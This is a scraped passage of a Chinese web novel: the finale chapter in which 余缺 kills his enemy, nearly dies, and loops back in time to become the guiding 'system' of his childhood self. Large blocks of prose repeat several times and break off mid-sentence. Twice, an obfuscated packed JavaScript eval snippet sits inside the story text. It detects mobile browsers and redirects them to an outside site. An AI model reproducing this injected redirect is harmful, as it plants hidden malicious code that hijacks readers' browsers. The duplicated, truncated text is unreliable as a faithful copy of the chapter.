界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 第88章 正文完结 剑尖抽出,往下缓缓滴血。熙姀无力地倾倒在沙滩上,整张面孔上都沾染着狼狈的血迹。 心魔幻境已尽数消弭,她的眼睛,也在死前恢复了完全的清明。沈玦的话,宛如落下了最后一块属于她人生的拼图。师兄所做的一切努力终究是付诸东流,她熙姀,最终还是死在了这一刻,死在了一个之前完全瞧不上的蝼蚁手里。 有后悔吗?没有的。 那张蒙上血迹的美丽面孔,只展露出一种强烈的不甘和怨恨。咽喉破碎,让她的声音也变得嘶哑难听:“天道不公,我本可以……飞升的……” 直到咽气,灵魂同步消解,熙姀双眼久久未能合上,脸上只余下一种扭曲至极的表情。 在死前看到的那份“真相”,师兄提前窥探的属于她的“命运”,在熙姀的角度看,当然是不甘心的。她那么好的资质,那么快的修行速度,最后竟然会败在一个蝼蚁手中。她觉得自己就是被天道算计,才导致不能飞升。 而她含恨而死,正是余缺想要的。 所谓的命运之说是真还是假,余缺其实无暇顾及和猜想。他只想杀了她,只想让她感觉到痛苦,被所谓的蝼蚁杀死,就被所谓的命运愚弄,被天道算计,无所谓,都可以。 只要她能不好过,只要她能多一分难受,只要…… 余缺踉跄着往前一步,半跪在尸体前,伸手慢慢合上那双眼睛。 天空中劫云散尽,露出夜空中的一轮皎月。浅白的光洒落大地,一层层的白色浪花伴随着波涛声往海滩上冲刷。月色下,余缺满是血污的脸上没有任何表情,没有痛苦,没有大仇得报的悲喜交加,没有任何复杂的思绪,只剩下一种空茫。 他缓缓放下手,就着浅淡的光线,能看见熙姀的灵魂溢散后,属于余珍的身体仿佛渐渐回归了原本的面目,坚韧,温和。 但她永远也不能再醒过来。 余缺纤长的睫毛上挂着血珠,就这么垂着头,静静地看着她。然后,身体突然脱力,猛地往旁边栽倒。 熙姀已经死亡,这一战看似大获全胜,但到了此时,驱动身体的沸腾恨意渐渐平息,余缺终于感觉到了冷,感觉到四肢的麻木。胸腔里心肺受创,血液已经快流干了,他眼前一阵发黑,面前的画面都时隐时现。 他快**。 意料之中的结局,余缺没有多么不甘。他只是觉得,好安静。 海水在慢慢涨潮,浪花蔓延到了他的脚踝,沾湿了裤脚。但余缺没感觉到海水的冷,也渐渐听不见海浪 的声音,他静静地躺在余珍的尸体旁边,极缓慢地眨动眼睫。 月明星稀,天空中的月亮如此皎洁,整个世界如此安静,安静到辽阔的天地内,好像只剩下了他一个人。 孤寂和疲惫齐齐涌上心头,身体好重,好累…… 在意识宛如沙漏中的沙砾缓缓坠向虚无时,余缺最后看见的画面,是夜空中,一颗明亮的星子,直直向他坠落而来。 金色的面板上早已经弹出了无数警告弹窗,这期间,2247一直不断焦急地呼唤着他的名字,直到感觉余缺呼吸停滞,瞳孔开始扩散,拳头大小的金色光团便再也顾不得什么,猛地冲向了他的眉心。 霎时间,金光迸裂。 宛如漂亮的星辰击碎在无形的屏障,重力下,激起无数金色碎末。 时间好像过去了很久,又好像只过去了一瞬。 余缺缓缓张开眼睛,他看见月光,看见月下的海滩,低头时,看见了躺在海浪中的自己。他眼中浮现出一丝疑惑,下意识地伸手,触及那具属于自己的身体。 但指尖没有碰到皮肤,也没有如同灵体般穿过,而是像触到一层无形的隔膜。空气中泛起浅淡的涟漪,属于过去的一切,开始在他眼前一帧帧后退。 做游戏时,会议室内正襟危坐听员工演讲;打比赛时,台下无数观众为他而欢呼。时间一直退到余珍还活着的时期,那些普通又幸福的日子,让余缺忍不住伸手触碰。 这一次,手指同样像是碰到了无形的隔膜。 很奇怪,余缺突然就产生了一个念头:他可以戳破这层隔膜,他甚至可以跨过时间和空间,回到那个时候。 但是…… 又很诡异的,余缺生出一种直觉——不可以。这些的确是已经经历了一次的宝贵记忆,但他不能再回去经历一次,因为…… 因为什么?余缺并不清楚。他只是顺从自己的直觉,任由那些时光如同清风般从指尖掠过。做出这个决定后,他脑海中自动浮现出一个碎片——因为那会让一切崩碎。 这一瞬间太快,余缺没能抓住。 记忆的画面仍在后退,他很快看见了人生中最黑暗的时光。时隔多年,余缺从第三视角看见幼年的自己,才发现自己的眼睛竟然会有那么死寂的时候。 没有一点光亮,没有任何希冀,活着,好像只是在勉强驱使那个躯壳行动而已,麻木到如行尸走肉。 他甚至已经失去了活下去的意志,需要系统光屏弹出一个个的任务,才如同提线木偶一样,僵硬着去寻找生活 物资。 余缺就这么看着这些画面,看着看着,内心忽然涌上一股难以言喻的复杂和心疼,不自觉地伸手摸了摸画面中自己的脸。 奇怪的是,那些**的时间有一瞬间凝滞,他的指尖,也好似触及到了面颊上微冷的温度和温软的触觉。那个脸上还带着血迹的小孩,第一次浮现出其它表情,他有些疑惑的伸手摸了摸刚刚被触及到的地方。 金色的光屏此时弹出一个弹窗:请确认您的安全。 这个画面极短暂地出现,又很快再次回归如常。余缺却若有所思地看向了自己的指尖。 没等思考出个所以然,一个熟悉的声音突然响起:“余缺!” 抬头四望,没看见熟悉的光球,他疑惑道:“你在哪?” 2247没回答这个问题,而是焦急万分地开口解释情况:“你先听我说!当时情况紧急,我试着强行将系统的能量用来修复你的身体,虽然成功了,你身上的伤口也在复原,但是能量传输通道一开启,就关不掉了!” “现在你的身体看似完好,实际已经快被能量冲击到碎裂!余缺你得赶紧想办法,把这股能量消耗掉,否则身体一碎,你就真的活不成了……” 后面的声音突然像是受到了干扰,完全听不清。余缺在此时抬头,才注意到,周身已是一片虚无,**自己在哪,眼前只有还在继续**的记忆。 不过,听见2247的话,余缺尝试性地伸出手,掌心很快积蓄起一团不断增长的暴戾金光。 能对上了,可他要怎么把这股力量消耗出去? 余缺眉头紧皱,正在思考时,眼前**的画面,再一次出现了短暂的停滞——刺耳的鸣笛声响起。 那是他人生变革的开始。 小小的余缺站在马路旁边,眼前是直直冲撞过来的庞然大物,那声鸣笛不像是为了提醒他离开,反而像是为了加剧他的惊恐。坐在驾驶室的司机面目狰狞,正在猛踩油门。 这一幕宛如恐怖片现场,画面里的他到底只是个普通孩子,惊惧之下,只下意识地闭上了眼。 眼见着车子和那个小小身影之间的距离越来越近,余缺一瞬间突然福至心灵,他看了看自己掌心仍在不断变大的那团暴戾能量,往画面中的人影一推。 就在车子即将撞上人的最后一刻,那个紧闭双眼的小孩,倏地在原地消失了。 收回手后,余缺脸上浮现出恍惚的神色。 他曾经憎恶过那股能量,也曾经想过,与其经历那些痛苦的时光,面临那些无 规律穿越时比原世界汹涌几倍的恶意,他还不如死在那个时候。 至少轻松。 但求生到底是本能,哪怕中间一度对外界除了恶意没有其他感知,他也从未想过主动结束自己的命,最终,也在系统的引导下,得到了为数不多的幸福时光…… 余缺没想过那股能量的来源,只把它当作和突然降临的系统一样,当成是突然闯入他生命中的意外。 但那其实不是意外。 它来自多年之后的另一个“我”。 意识到这点后,眼前所有的画面静止了一瞬,紧接着,时间在这时开始扭曲、割裂。所有的画面被混乱的时间搅碎。 余缺倏地出现在自己出生的时间点,明亮的医院里,两个刚刚出生的婴儿并排躺在床上,温瑞在和谁打电话,寒栀还在床上昏迷不醒。没过多久,一个保镖出现在病房里,温瑞没多看向襁褓中的小余缺一眼,随意地从旁边堆叠着文件的纸张中撕下一个小角,写下余缺的名字和生日:“把他放到福利院门口。” 保镖愣了一秒,有些无所适从地将他抱起来。襁褓中的婴儿感觉到了生人的气息,开始哇哇大哭,温瑞不耐烦地皱眉:“吵**,还不赶紧处理掉?” 高大的保镖沉默着离开,一路上,婴儿如同幼猫一样细细哭泣。余缺则像是一个背后灵一般,就这么随着他们移动,直到被放在福利院门口,所有人离开,婴儿已经哭到嗓音沙哑,脸蛋变得脏兮兮,襁褓并不严实,他的小手挣扎着在空中挥舞。 余缺看着这一切,心中的爱怜,促使他伸手想触碰幼年的自己的脸颊。出乎意料的是,他伸出手后,幼年的自己,忽然抓住了他的一根指节。 虽然只是一瞬间,可就像是触摸到了什么安心的东西,婴儿的哭声顿止,开始眨巴着眼睛,往四周看。 余缺看向自己的手,属于婴儿的小小的握感还残留着。 这一瞬间之后,时间突然拨快,像是按下了什么快进键,等再一次稳定下来,余缺已经是四处跑跳的年纪。 福利院的孩子多,按理来说不该缺玩伴,但幼年的他身边却鲜少有人,只坐在院子的边缘,眼里说不清是渴望还是什么,一直盯着那些玩耍的孩子看。 余缺伸手揉他的发顶,幼年的他忽然转过头,有些新奇的看过来:“你是谁呀?” 一大一小,两张相似度极高的面孔对视,余缺露出浅淡的笑:“我是余缺。” 我是你。 “我也叫余缺!”幼年的他忽然兴奋起来:“我们名字一 样,你可以做我朋友吗?” 孩子其实不该对陌生人、还是成年人说这句话,但他们相似的气息,本能上对自己的信任,又促使幼年的他在第一次见面,就吐露自己的心绪,眼巴巴地道:“别人都不和我玩儿……” 余缺蹲下身子:“当然可以,我会是你独一无二的朋友。” 这话立马让年幼的他就露出甜甜的笑,伸出手抱他:“余缺——” 在被这小小的、暖烘烘的身影抱住时,余缺若有所感地侧过头——福利院门口,何长风面上是讥笑和讽刺,他看不见成年的余缺,只看见幼年的他,冲过去拥抱一团空气,还叫出了自己的名字。 视线只偏离了这一瞬,余缺不再为无关紧要的人牵动心绪,他只安抚性地拍怀中小小身影的后背:“我在这里。” “你在干什么?!”福利院的一个工作人员忽然伸手往后拉了一下这个做出拥抱姿势的孩子。 “我在和朋友玩啊,”小余缺对大人的举动感到疑惑,转向他的方向,伸出手指指了过去:“他……” “别胡说!”工作人员吓了一跳,警惕地看向那个无人的角落,把孩子抱起来就往里走:“院长!院长——” 院子里其他的小孩莫名其妙的看了他们一眼,想跟过去,又被别的大人推去继续玩。唯有被抱起来的小余缺,疑惑不解地看着角落里的人。 时间再度拨动,再次停下的时候,余缺是在洗漱间,年幼的他端着小板凳,趴在镜子面前在看什么。 余缺也看向镜子,里面没有他的倒影。他像是一个意外闯入这段时间的旅人,停留的时间完全不由自己做主。他无可奈何,只能怜惜地摸了摸幼年自己的后脑。 细微的触觉让小余缺一下就侧过了脸,他看到人,眼中先是浮现出一些惊奇,接着又看向镜面,来回几次,像是发现了什么奇异的事。 余缺淡淡笑着:“怎么了?” “你就是我对不对?”小余缺通过镜子,看出了他们的相似:“我们长得其实一样。” “对,”余缺伸手拨弄他额前的碎发:“你会害怕吗?” 镜子前的他缓缓摇头,脸上有些许疑惑:“我只是有些奇怪,为什么我会幻想出你。”经过大人们的教育,他已经完全认为,这是属于他的、独一份的幻想。 “我也不知道,”余缺没戳破所谓的幻想说,而是进行了难得的剖白:“或许是因为看见了你的孤独,或许是觉得你需要我,也或许……” “因为我爱你。” 这话 让年幼的他脸上露出些许不解:“我不太懂你说的……”爱那种东西,难道不是有父母的孩子,他们之间的专属吗? “世间的爱有很多种,”余缺伸出手,再次触碰这张年幼的脸:“于我们而言,爱是种本能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15846482|116327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸出的指尖宛如是一团虚影,在接触的瞬间消弭。 眼前的人再度消失,小余缺有些着急的往四周寻找,没找到人,他便再度将注意力放回了镜面上,伸出手指,像刚刚被触碰一样去摸那冰凉的倒影。 或许就是此时,他学会了怎么安抚自己——没有父母也没关系,没有别人爱我也没关系,我爱你。 这种接触仍在继续,只是,后面余缺能被看见、能接触年幼自己的时间开始渐渐减少。年幼的他没察觉出异常,只顺理成章的觉得,这是自己长大了,那些幻想就开始渐渐不见。直到后来,一直平静的生活被打破,恐惧和庞杂的心绪占领高地。余缺眼看着那个系统面板,被和自己同源的能量所吸引,绑定了年幼的自己。 可不知道为何,这一阶段的系统面板和他记忆中,那个会智能调整,让年幼的他在这种混乱的情况下活下去的情况并不相同,反而相当的呆板。 眼见着又一次面临险境,余缺下意识地伸手,想要将处于恐惧和惊惧中的自己抱离。他的身形如同虚影一般穿过,却又在撞击上那块面板时,身体和那块系统面板产生了融合。 余缺意识到了什么,他隔着薄薄的光幕看向自己,利用身上和系统同源的能量,开始对这块面板进行改造。 一开始能做的很有限,后来渐渐的,他能操控系统面板,像游戏一样发布合适的任务,督促他寻找食物和水源,在那双眼睛一点点归于死寂时,在他成为了所谓的怪物时,余缺依旧在引导他和别人进行接触,尝试用任务进行改善和纠正。同时不断消耗能量,在一次即将进行时空跃迁时,用尽全力,把年幼的自己送到了那个和蓝星相似,又完全不同的修真界。 这是属于人生转折的相遇,也是时隔多年,又一次久别重逢。 余缺身上的那股混乱的能量已经见底,他终于明白了一切,也来不及和自己、和余珍告别。他摊开掌心,拿出一个细小的光点,最后一次操控系统面板,写下了这个光点的名字:Sirius·Otto。 他的一生,从诞生开始就身缠厄运。但他自己,仍然像是那位好运到诡异的将军一样,在无数的厄运中幸运地走到了今天。所以,这个名字,前面是余缺认可的星辰和好运,后面是2247曾自己说过,世 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 第88章 正文完结 剑尖抽出,往下缓缓滴血。熙姀无力地倾倒在沙滩上,整张面孔上都沾染着狼狈的血迹。 心魔幻境已尽数消弭,她的眼睛,也在死前恢复了完全的清明。沈玦的话,宛如落下了最后一块属于她人生的拼图。师兄所做的一切努力终究是付诸东流,她熙姀,最终还是死在了这一刻,死在了一个之前完全瞧不上的蝼蚁手里。 有后悔吗?没有的。 那张蒙上血迹的美丽面孔,只展露出一种强烈的不甘和怨恨。咽喉破碎,让她的声音也变得嘶哑难听:“天道不公,我本可以……飞升的……” 直到咽气,灵魂同步消解,熙姀双眼久久未能合上,脸上只余下一种扭曲至极的表情。 在死前看到的那份“真相”,师兄提前窥探的属于她的“命运”,在熙姀的角度看,当然是不甘心的。她那么好的资质,那么快的修行速度,最后竟然会败在一个蝼蚁手中。她觉得自己就是被天道算计,才导致不能飞升。 而她含恨而死,正是余缺想要的。 所谓的命运之说是真还是假,余缺其实无暇顾及和猜想。他只想杀了她,只想让她感觉到痛苦,被所谓的蝼蚁杀死,就被所谓的命运愚弄,被天道算计,无所谓,都可以。 只要她能不好过,只要她能多一分难受,只要…… 余缺踉跄着往前一步,半跪在尸体前,伸手慢慢合上那双眼睛。 天空中劫云散尽,露出夜空中的一轮皎月。浅白的光洒落大地,一层层的白色浪花伴随着波涛声往海滩上冲刷。月色下,余缺满是血污的脸上没有任何表情,没有痛苦,没有大仇得报的悲喜交加,没有任何复杂的思绪,只剩下一种空茫。 他缓缓放下手,就着浅淡的光线,能看见熙姀的灵魂溢散后,属于余珍的身体仿佛渐渐回归了原本的面目,坚韧,温和。 但她永远也不能再醒过来。 余缺纤长的睫毛上挂着血珠,就这么垂着头,静静地看着她。然后,身体突然脱力,猛地往旁边栽倒。 熙姀已经死亡,这一战看似大获全胜,但到了此时,驱动身体的沸腾恨意渐渐平息,余缺终于感觉到了冷,感觉到四肢的麻木。胸腔里心肺受创,血液已经快流干了,他眼前一阵发黑,面前的画面都时隐时现。 他快**。 意料之中的结局,余缺没有多么不甘。他只是觉得,好安静。 海水在慢慢涨潮,浪花蔓延到了他的脚踝,沾湿了裤脚。但余缺没感觉到海水的冷,也渐渐听不见海浪 的声音,他静静地躺在余珍的尸体旁边,极缓慢地眨动眼睫。 月明星稀,天空中的月亮如此皎洁,整个世界如此安静,安静到辽阔的天地内,好像只剩下了他一个人。 孤寂和疲惫齐齐涌上心头,身体好重,好累…… 在意识宛如沙漏中的沙砾缓缓坠向虚无时,余缺最后看见的画面,是夜空中,一颗明亮的星子,直直向他坠落而来。 金色的面板上早已经弹出了无数警告弹窗,这期间,2247一直不断焦急地呼唤着他的名字,直到感觉余缺呼吸停滞,瞳孔开始扩散,拳头大小的金色光团便再也顾不得什么,猛地冲向了他的眉心。 霎时间,金光迸裂。 宛如漂亮的星辰击碎在无形的屏障,重力下,激起无数金色碎末。 时间好像过去了很久,又好像只过去了一瞬。 余缺缓缓张开眼睛,他看见月光,看见月下的海滩,低头时,看见了躺在海浪中的自己。他眼中浮现出一丝疑惑,下意识地伸手,触及那具属于自己的身体。 但指尖没有碰到皮肤,也没有如同灵体般穿过,而是像触到一层无形的隔膜。空气中泛起浅淡的涟漪,属于过去的一切,开始在他眼前一帧帧后退。 做游戏时,会议室内正襟危坐听员工演讲;打比赛时,台下无数观众为他而欢呼。时间一直退到余珍还活着的时期,那些普通又幸福的日子,让余缺忍不住伸手触碰。 这一次,手指同样像是碰到了无形的隔膜。 很奇怪,余缺突然就产生了一个念头:他可以戳破这层隔膜,他甚至可以跨过时间和空间,回到那个时候。 但是…… 又很诡异的,余缺生出一种直觉——不可以。这些的确是已经经历了一次的宝贵记忆,但他不能再回去经历一次,因为…… 因为什么?余缺并不清楚。他只是顺从自己的直觉,任由那些时光如同清风般从指尖掠过。做出这个决定后,他脑海中自动浮现出一个碎片——因为那会让一切崩碎。 这一瞬间太快,余缺没能抓住。 记忆的画面仍在后退,他很快看见了人生中最黑暗的时光。时隔多年,余缺从第三视角看见幼年的自己,才发现自己的眼睛竟然会有那么死寂的时候。 没有一点光亮,没有任何希冀,活着,好像只是在勉强驱使那个躯壳行动而已,麻木到如行尸走肉。 他甚至已经失去了活下去的意志,需要系统光屏弹出一个个的任务,才如同提线木偶一样,僵硬着去寻找生活 物资。 余缺就这么看着这些画面,看着看着,内心忽然涌上一股难以言喻的复杂和心疼,不自觉地伸手摸了摸画面中自己的脸。 奇怪的是,那些**的时间有一瞬间凝滞,他的指尖,也好似触及到了面颊上微冷的温度和温软的触觉。那个脸上还带着血迹的小孩,第一次浮现出其它表情,他有些疑惑的伸手摸了摸刚刚被触及到的地方。 金色的光屏此时弹出一个弹窗:请确认您的安全。 这个画面极短暂地出现,又很快再次回归如常。余缺却若有所思地看向了自己的指尖。 没等思考出个所以然,一个熟悉的声音突然响起:“余缺!” 抬头四望,没看见熟悉的光球,他疑惑道:“你在哪?” 2247没回答这个问题,而是焦急万分地开口解释情况:“你先听我说!当时情况紧急,我试着强行将系统的能量用来修复你的身体,虽然成功了,你身上的伤口也在复原,但是能量传输通道一开启,就关不掉了!” “现在你的身体看似完好,实际已经快被能量冲击到碎裂!余缺你得赶紧想办法,把这股能量消耗掉,否则身体一碎,你就真的活不成了……” 后面的声音突然像是受到了干扰,完全听不清。余缺在此时抬头,才注意到,周身已是一片虚无,**自己在哪,眼前只有还在继续**的记忆。 不过,听见2247的话,余缺尝试性地伸出手,掌心很快积蓄起一团不断增长的暴戾金光。 能对上了,可他要怎么把这股力量消耗出去? 余缺眉头紧皱,正在思考时,眼前**的画面,再一次出现了短暂的停滞——刺耳的鸣笛声响起。 那是他人生变革的开始。 小小的余缺站在马路旁边,眼前是直直冲撞过来的庞然大物,那声鸣笛不像是为了提醒他离开,反而像是为了加剧他的惊恐。坐在驾驶室的司机面目狰狞,正在猛踩油门。 这一幕宛如恐怖片现场,画面里的他到底只是个普通孩子,惊惧之下,只下意识地闭上了眼。 眼见着车子和那个小小身影之间的距离越来越近,余缺一瞬间突然福至心灵,他看了看自己掌心仍在不断变大的那团暴戾能量,往画面中的人影一推。 就在车子即将撞上人的最后一刻,那个紧闭双眼的小孩,倏地在原地消失了。 收回手后,余缺脸上浮现出恍惚的神色。 他曾经憎恶过那股能量,也曾经想过,与其经历那些痛苦的时光,面临那些无 规律穿越时比原世界汹涌几倍的恶意,他还不如死在那个时候。 至少轻松。 但求生到底是本能,哪怕中间一度对外界除了恶意没有其他感知,他也从未想过主动结束自己的命,最终,也在系统的引导下,得到了为数不多的幸福时光…… 余缺没想过那股能量的来源,只把它当作和突然降临的系统一样,当成是突然闯入他生命中的意外。 但那其实不是意外。 它来自多年之后的另一个“我”。 意识到这点后,眼前所有的画面静止了一瞬,紧接着,时间在这时开始扭曲、割裂。所有的画面被混乱的时间搅碎。 余缺倏地出现在自己出生的时间点,明亮的医院里,两个刚刚出生的婴儿并排躺在床上,温瑞在和谁打电话,寒栀还在床上昏迷不醒。没过多久,一个保镖出现在病房里,温瑞没多看向襁褓中的小余缺一眼,随意地从旁边堆叠着文件的纸张中撕下一个小角,写下余缺的名字和生日:“把他放到福利院门口。” 保镖愣了一秒,有些无所适从地将他抱起来。襁褓中的婴儿感觉到了生人的气息,开始哇哇大哭,温瑞不耐烦地皱眉:“吵**,还不赶紧处理掉?” 高大的保镖沉默着离开,一路上,婴儿如同幼猫一样细细哭泣。余缺则像是一个背后灵一般,就这么随着他们移动,直到被放在福利院门口,所有人离开,婴儿已经哭到嗓音沙哑,脸蛋变得脏兮兮,襁褓并不严实,他的小手挣扎着在空中挥舞。 余缺看着这一切,心中的爱怜,促使他伸手想触碰幼年的自己的脸颊。出乎意料的是,他伸出手后,幼年的自己,忽然抓住了他的一根指节。 虽然只是一瞬间,可就像是触摸到了什么安心的东西,婴儿的哭声顿止,开始眨巴着眼睛,往四周看。 余缺看向自己的手,属于婴儿的小小的握感还残留着。 这一瞬间之后,时间突然拨快,像是按下了什么快进键,等再一次稳定下来,余缺已经是四处跑跳的年纪。 福利院的孩子多,按理来说不该缺玩伴,但幼年的他身边却鲜少有人,只坐在院子的边缘,眼里说不清是渴望还是什么,一直盯着那些玩耍的孩子看。 余缺伸手揉他的发顶,幼年的他忽然转过头,有些新奇的看过来:“你是谁呀?” 一大一小,两张相似度极高的面孔对视,余缺露出浅淡的笑:“我是余缺。” 我是你。 “我也叫余缺!”幼年的他忽然兴奋起来:“我们名字一 样,你可以做我朋友吗?” 孩子其实不该对陌生人、还是成年人说这句话,但他们相似的气息,本能上对自己的信任,又促使幼年的他在第一次见面,就吐露自己的心绪,眼巴巴地道:“别人都不和我玩儿……” 余缺蹲下身子:“当然可以,我会是你独一无二的朋友。” 这话立马让年幼的他就露出甜甜的笑,伸出手抱他:“余缺——” 在被这小小的、暖烘烘的身影抱住时,余缺若有所感地侧过头——福利院门口,何长风面上是讥笑和讽刺,他看不见成年的余缺,只看见幼年的他,冲过去拥抱一团空气,还叫出了自己的名字。 视线只偏离了这一瞬,余缺不再为无关紧要的人牵动心绪,他只安抚性地拍怀中小小身影的后背:“我在这里。” “你在干什么?!”福利院的一个工作人员忽然伸手往后拉了一下这个做出拥抱姿势的孩子。 “我在和朋友玩啊,”小余缺对大人的举动感到疑惑,转向他的方向,伸出手指指了过去:“他……” “别胡说!”工作人员吓了一跳,警惕地看向那个无人的角落,把孩子抱起来就往里走:“院长!院长——” 院子里其他的小孩莫名其妙的看了他们一眼,想跟过去,又被别的大人推去继续玩。唯有被抱起来的小余缺,疑惑不解地看着角落里的人。 时间再度拨动,再次停下的时候,余缺是在洗漱间,年幼的他端着小板凳,趴在镜子面前在看什么。 余缺也看向镜子,里面没有他的倒影。他像是一个意外闯入这段时间的旅人,停留的时间完全不由自己做主。他无可奈何,只能怜惜地摸了摸幼年自己的后脑。 细微的触觉让小余缺一下就侧过了脸,他看到人,眼中先是浮现出一些惊奇,接着又看向镜面,来回几次,像是发现了什么奇异的事。 余缺淡淡笑着:“怎么了?” “你就是我对不对?”小余缺通过镜子,看出了他们的相似:“我们长得其实一样。” “对,”余缺伸手拨弄他额前的碎发:“你会害怕吗?” 镜子前的他缓缓摇头,脸上有些许疑惑:“我只是有些奇怪,为什么我会幻想出你。”经过大人们的教育,他已经完全认为,这是属于他的、独一份的幻想。 “我也不知道,”余缺没戳破所谓的幻想说,而是进行了难得的剖白:“或许是因为看见了你的孤独,或许是觉得你需要我,也或许……” “因为我爱你。” 这话 让年幼的他脸上露出些许不解:“我不太懂你说的……”爱那种东西,难道不是有父母的孩子,他们之间的专属吗? “世间的爱有很多种,”余缺伸出手,再次触碰这张年幼的脸:“于我们而言,爱是种本能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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余缺身上的那股混乱的能量已经见底,他终于明白了一切,也来不及和自己、和余珍告别。他摊开掌心,拿出一个细小的光点,最后一次操控系统面板,写下了这个光点的名字:Sirius·Otto。 他的一生,从诞生开始就身缠厄运。但他自己,仍然像是那位好运到诡异的将军一样,在无数的厄运中幸运地走到了今天。所以,这个名字,前面是余缺认可的星辰和好运,后面是2247曾自己说过,世 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” 